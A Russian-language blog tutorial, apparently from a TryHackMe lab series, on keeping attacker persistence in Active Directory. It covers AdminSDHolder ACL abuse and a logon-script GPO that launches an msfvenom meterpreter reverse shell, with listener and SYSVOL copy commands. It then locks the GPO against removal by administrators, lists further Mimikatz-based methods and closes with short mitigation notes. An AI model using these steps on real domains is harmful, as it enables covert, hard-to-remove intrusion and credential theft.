Persisting Active Directory, part 3

Всем привет!

Это заключительная часть последней статьи, посвященным атакам на Active Directory. В ней мы изучим ещё несколько методов, позволяющих нам закрепиться в атакуемом домене, а один из таких методов (GPO) так вообще принесёт синей команде кучу головной боли. Также в конце подведём краткий итог.

Первая и вторая части статьи доступны по ссылкам ниже:

• Persisting Active Directory, part 1;
• Persisting Active Directory, part 2.

Схема атакуемой сети представлена на рисунке ниже:

Приступим!

Закрепление через ACL

Иногда нам мы хотим большего, чем просто сохранение в обычных группах AD. Что, если мы хотим закрепиться во всех защищенных группах одновременно?

Закрепление через AD Group Templates

Хотя мы можем просто добавить контролируемую нами учетную запись в каждую привилегированную группу, которую мы сможем найти, синяя команда все равно сможет выявить этот факт и очистить группы. Чтобы обеспечить лучшую устойчивость, мы должны внедрится в шаблоны, которые генерируют группы по умолчанию. При внедрении в эти шаблоны, даже если администраторы безопасности ликвидируют наше членство в группе (экскомьюникадо, хехе), нам просто нужно будет подождать, пока шаблон обновится, и нам снова будет предоставлено членство.

Одним из таких шаблонов является контейнер AdminSDHolder. Этот контейнер существует в каждом домене AD, и его список управления доступом (ACL) используется в качестве шаблона для копирования разрешений для всех защищенных групп. Защищенные группы включают привилегированные группы, такие как Domain Admins, Administrators, Enterprise Admins и Schema Admins. Если вам нужен полный список групп, найти их можно здесь.

Процесс под названием SDProp берет ACL контейнера AdminSDHolder и применяет его ко всем защищенным группам каждые 60 минут. Таким образом, мы можем написать ACE, который предоставит нам полные права доступа ко всем защищенным группам. Если блютим не знает, что используется этот тип закрепления, для них это будет довольно неприятно. Каждый раз, когда защитники удаляют неподходящее разрешение для защищенного объекта или группы, оно появляется снова в течение часа. Поскольку эта реконструкция происходит посредством обычных процессов AD, она также не будет показывать никакого алерта группе мониторинга, что затрудняет определение источника закрепления.

Закрепление с помощью AdminSDHolder

Чтобы закрепиться с AdminSDHolder, мы будем использовать консоль управления Microsoft (MMC).

В окне MMC, добавьте оснастку «Users and Groups» (Файл->Добавить оснастку->Active Directory Users and Groups). Не забываем включить дополнительные функции (View->Advanced Features). Мы можем найти группу AdminSDHolder в разделе Domain->System:

Перейдём к безопасности группы (правый клик->Properties->Security):

Давайте добавим нашего пользователя с низкими привилегиями и предоставим полный доступ:

1. Щелкаем Add;
2. Находим свое имя пользователя с низким уровнем привилегий и нажмите «Check Names»;
3. Нажимаем ОК;
4. Щелкаем Allow на Full Control;
5. Нажимаем Apply;
6. Нажимаем ОК;

Теперь свойства должны выглядеть примерно так:

SDProp

Теперь нам просто нужно подождать 60 минут, и наш пользователь получит полный контроль над всеми защищенными группами. Это связано с тем, что служба распространения дескрипторов безопасности (SDProp) запускается автоматически каждые 60 минут и распространяет это изменение на все защищенные группы. Однако, поскольку мы не любим ждать, давайте запустим процесс вручную с помощью Powershell:

PS C:\Tools> Import-Module .\Invoke-ADSDPropagation.ps1 
PS C:\Tools> Invoke-ADSDPropagation

После этого подождём минутку, а затем посмотрим группу администраторов домена:

Как видно, наш пользователь с низким уровнем привилегий имеет полный контроль над группой. Интересно, что хотя у нас теперь есть права на изменение группы, это не добавляет нас автоматически в группу:

Однако, используя наши новые разрешения, мы можем добавить себя в эту группу:

Синяя команда нервно вытирает слёзы

Представьте, что мы объединили этот подход с вложенными группами, рассмотренными в предыдущей части статьи. Как только блютим закончили отзыв евшего доступа путем многочисленных изменений в группе, через 60 минут мы просто проделываем все это снова. Если синяя команда не поймет, что права меняются через группу AdminSDHolder, они будут ломать голову каждые 60 минут. Далее мы можем предоставить полный контроль группе Domain Users в контейнере AdminSDHolder, что означает, что любой пользователь с низким уровнем привилегий получит полный контроль над всеми защищенными группами. Сочетание этого подхода с DC Sync означает, что администраторам безопасности придется сбросить все учетные данные в домене, чтобы полностью избавиться от присутствия злоумышленника.

Закрепление через GPO

Последний метод закрепления, который мы рассмотрим, — это закрепление с помощью объектов групповой политики (Group Policy Objects, GPO).

Group Policy Management в AD предоставляет центральный механизм для управления конфигурацией локальной политики всех машин, присоединенных к домену. Сюда входят такие настройки, как членство в группах с ограниченным доступом, конфигурация брандмауэра и антивируса, а также сценарии, которые должны выполняться при запуске. Несмотря на то, что это отличный инструмент для управления, злоумышленники могут использовать его для закрепления. Еще хуже то, что злоумышленник часто может скрыть объект групповой политики таким образом, что удалить его становится практически невозможно.

Domain Wide Persistence

Ниже приведены некоторые распространенные методы закрепления с GPO:

• Ограниченное членство в группе (Restricted Group Membership) — может предоставить нам административный доступ ко всем хостам в домене;
• Исполнение сценарием при входе (Logon Script Deployment) — может гарантировать, что мы будем получать Reverse Shell каждый раз, когда пользователь аутентифицируется на хосте в домене.

Давайте создадим объект групповой политики, связанный с OU администраторов, что позволит нам получать оболочку на хосте каждый раз, когда один из них аутентифицируется на хосте.

Подготовка

Прежде чем мы сможем создать объект групповой политики . Сначала нам нужно создать нашу оболочку, прослушиватель и фактический файл bat, который будет выполнять нашу оболочку. Давайте начнем с создания базовой исполняемой оболочки, которую мы можем использовать:

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=persistad lport=4445 -f exe > cherepawwka_shell.exe

Windows позволяет нам выполнять сценарии Batch или PowerShell через объект групповой политики после входа в систему. Пакетные сценарии часто более стабильны, чем сценарии PowerShell, поэтому давайте создадим такой, который будет копировать наш исполняемый файл на хост и выполнять его после аутентификации пользователя. Создадим следующий скрипт, назовем его cherepawwka_script.bat:

copy \\za.tryhackme.loc\sysvol\za.tryhackme.loc\scripts\cherepawwka_shell.exe C:\tmp\cherepawwka_shell.exe && timeout /t 20 && C:\tmp\cherepawwka_shell.exe

Этот скрипт выполняет три команды, связанные вместе с использованием &&. Сценарий скопирует двоичный файл из каталога SYSVOL на локальный компьютер, затем подождет 20 секунд, прежде чем, наконец, выполнить двоичный файл.

Мы можем использовать SCP и наши учетные данные администратора, чтобы скопировать оба скрипта в каталог SYSVOL:

Терминал

scp cherepawwka_shell.exe za\\Administrator@thmdc.za.tryhackme.loc:C:/Windows/SYSVOL/sysvol/za.tryhackme.loc/scripts/

scp cherepawwka_script.bat za\\Administrator@thmdc.za.tryhackme.loc:C:/Windows/SYSVOL/sysvol/za.tryhackme.loc/scripts/

Наконец, давайте запустим наш прослушиватель MSF:

msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST persistad; set LPORT 4445;exploit"

Теперь, когда наша подготовка завершена, мы можем, наконец, создать объект групповой политики, который будет его выполнять. Для этого подключимся под УЗ администратора на THMWRK1.

Создание объекта групповой политики

1. Вводим MMC;
2. Нажимаем File->Add/Remove Snap-in...;
3. Выбираем оснастку Group Policy Management и нажимаем Add;
4. Нажимаем ОК.

Вы должны увидеть диспетчер GPO :

Хотя технически мы можем записать содержимое в политику домена по умолчанию, которая должна распространяться на все объекты AD, мы выберем более узкий подход к задаче, просто чтобы продемонстрировать процесс.

Мы напишем объект групповой политики , который будет применяться ко всем администраторам, поэтому щелкнем правой кнопкой мыши подразделение Admins и выбираем Create a GPO in this domain, and Link it here. Назовём её cherepawwka - persisting GPO:

Щелкаем правой кнопкой мыши на политику и выбираем "Enforced". Это гарантирует, что политика будет применяться, даже если существует конфликтующая политика. Это может помочь обеспечить приоритет объекта групповой политики, даже если администраторы безопасности написали политику, которая удалит наши изменения. Приступаем к изменению политики:

Вернемся к нашему редактору управления групповыми политиками:

1. В разделе User Configuration развернём Policies -> Windows Settings;
2. Выберем Scripts (Logon/Logoff);
3. Щелкаем правой кнопкой мыши Logon -> Properties;
4. Выберем вкладку Scripts;
5. Нажмите Add->Browse.

Давайте перейдем туда, где мы сохранили наши пакетные и двоичные файлы:

Выбираем bat в качестве сценария и нажимаем Open и OK, а затем Apply и ОК. Это гарантирует, что каждый раз, когда один из администраторов (Tier 2, 1 и 0) входит в систему на любой машине, мы будем получать обратную оболочку.

Чтобы смоделировать это, давайте сбросим пароль для одной из учетных записей Tier 1 администратора и выполним аутентификацию на сервере.

Теперь подключаемся по протоколу RDP к THMSERVER1 или THMSERVER2:

xfreerdp /v:10.200.61.201 /u:t1_jake.scott /p:P@ssw0rd /d:za.tryhackme.loc +clipboard /dynamic-resolution /cert:ignore

Прятки на виду

Теперь, когда мы знаем, что наше закрепление успешно, пришло время убедиться, что синяя команда не может просто удалить наши "закладки". Вернёмся к окну MMC, нажмём на свою политику, а затем перейдем на вкладку Delegation:

По умолчанию все администраторы имеют возможность редактировать объекты групповой политики. Давайте удалим эти разрешения:

1. Щелкаем правой кнопкой мыши на ENTERPRISE DOMAIN CONTROLLERS и выбираем Edit settings, delete, modify security;
2. Нажимаем на все остальные группы (кроме «Authenticated Users») и нажмите Remove.

Оставшееся делегирование выглядит так:

Нажимаем Advanced и удаляем CREATOR OWNER из разрешений:

По умолчанию все аутентифицированные пользователи должны иметь возможность читать политику. Это необходимо, потому что в противном случае политика не может быть прочитана учетной записью пользователя при проверке подлинности для применения политик пользователя. Если бы у нас не было сценария входа в систему, мы могли бы также удалить это разрешение, чтобы убедиться, что почти никто не сможет прочитать нашу Политику.

Мы могли бы заменить Authenticated Users на Domain Computers, чтобы гарантировать, что компьютеры по-прежнему смогут читать и применять политику, но запретить любому пользователю читать политику. Давайте сделаем это для проверки. Но после этого пути обратно нет:

1. Щелкаем Add;
2. Вводим Domain Computers, щёлкаем Check Names, а затем ОК;
3. Выбираем Read permissions и нажимаем ОК;
4. Нажмите Authenticated Users и нажмите Remove.

Сразу после выполнения этих действий мы получаем сообщение об ошибке и не можем читать собственную политику. Можно также заметить изменения на боковой панели, сигнализирующие, что мы больше не можем читать эту политику:

Выполнив эти шаги, мы можем гарантировать, что даже с самым высоким уровнем привилегий администраторы безопасности не смогут удалить наш объект групповой политики, если они не будут имперсонифицировать учетную запись компьютера контроллера домена. Из-за этого объект очень сложно обнаружить, и даже если он будет обнаружен, его будет невероятно сложно удалить. Даже у нас больше нет необходимых разрешений для взаимодействия с нашей политикой. 

Мы можем убедиться, что объект групповой политики все еще применяется, подключившись по протоколу RDP к одному из THMSERVERS:

Заключение

Есть несколько различных способов, с помощью которых мы можем закрепиться в AD. Некоторые из этих методов лучше, чем другие. Чтобы команда ИБ не смогла вышвырнуть нас из домена, придется творчески подойти к вопросу закрепления. Кроме того, не следует ждать полной компрометации домена, чтобы обеспечивать постоянное присутствие. После каждого этапа горизонтального перемещения и повышения привилегий следует закрепляться.

Дополнительные методы закрепления

В этой статье мы рассмотрели несколько методов, которые можно использовать для закрепления в AD. Но это ни в коем случае не исчерпывающий перечень. Вот список методов, которые также заслуживают упоминания:

• Skeleton keys. Используя Mimikatz, мы можем получить Skeleton key. Mimikatz создаст пароль по умолчанию, который будет работать для любой учетной записи в домене. Обычные пароли по-прежнему будут работать, из-за чего узнать, что эта атака имела место, будет сложно. Этот пароль по умолчанию можно использовать для имперсонификации любой учетной записи в домене;
• Directory Service Restore Mode (DSRM). Контроллеры домена имеют внутреннюю учетную запись администратора, называемую учетной записью DSRM. Её пароль устанавливается, когда сервер повышается до контроллера домена, и редко меняется. Этот пароль используется в экстренных случаях для восстановления DC. Злоумышленник может извлечь этот пароль с помощью Mimikatz и использовать его для получения постоянного административного доступа к контроллерам домена в среде;
• Malicious Security Support Provider (SSP). Используя интерфейс SSP, можно добавлять новые SSP. Мы можем добавить mimilib Mimikatz в качестве поставщика общих служб, который будет регистрировать все учетные данные попыток аутентификации в файле. Мы можем указать сетевое расположение для ведения журнала, что позволит mimilib отправлять нам учетные данные, когда пользователи аутентифицируются на скомпрометированном хосте, обеспечивая постоянство нашего присутствия;
• Учетные записи компьютеров. Пароли учетных записей компьютеров обычно меняются каждые 30 дней. Однако мы можем изменить пароль учетной записи компьютера, что остановит его автоматическую ротацию. Вместе с этим мы можем предоставить учетной записи машины административный доступ к другим машинам. Это позволит нам использовать учетную запись компьютера как обычную учетную запись, единственным признаком сохранения которой является тот факт, что учетная запись имеет административные права на другие хосты, что часто является нормальным поведением в AD, поэтому атака может остаться незамеченной.

Следует также отметить, что в этом зале основное внимание уделялось методам закрепления именно в домене. Несколько методов локального закрепления также могут обеспечивать присутствие на хостах. Если эти хосты присоединены к домену, это позволит сохранить и доступ в AD.

Снижение рисков

Закрепление в AD может быть проблемой для защищающейся стороны. В некоторых случаях закрепление может иметь настолько глубокие корни, что требуется полная перестройка домена. Однако есть несколько вещей, которые мы можем сделать, чтобы обнаружить присутствие злоумышленника:

• Аномальные события входа в учетную запись являются наиболее распространенным предупреждением о закреплении. Каждый раз, когда учетные данные нарушают многоуровневую модель, это может быть результатом действий злоумышленника;
• Для каждого из упомянутых методов закрепления могут быть написаны определенные правила обнаружения, например, случаи изменения пароля учетной записи компьютера, обновления списков ACL или создания новых объектов групповой политики;
• Лучшая защита от персистентности — защита привилегированных ресурсов. Хотя доступ с низким уровнем привилегий также может использоваться для закрепления, по-настоящему страшные методы становятся доступными только после того, как злоумышленник получит привилегированный доступ к домену.

На этом цикл статьей по AD заканчивается. Мы узнали об основах AD, используемых протоколах авторизации и атаках на них, о том, как взломать сеть AD, перечислить ее, выполнить эксплуатацию и глубоко проникнуть в нее с последующим закреплением. Однако эти статьи — всего лишь введение. Для успешных атак и успешной защиты еще многое предстоит узнать о безопасности в домене AD. Но, возможно, в следующий раз :)

Надеюсь, это было увлекательное приключение, которое полезно читателю с точки зрения получения новых знаний и представления возможных векторов атак на Active Directory. Впереди, возможно, нас ждёт ещё несколько статей. А пока до новых встреч!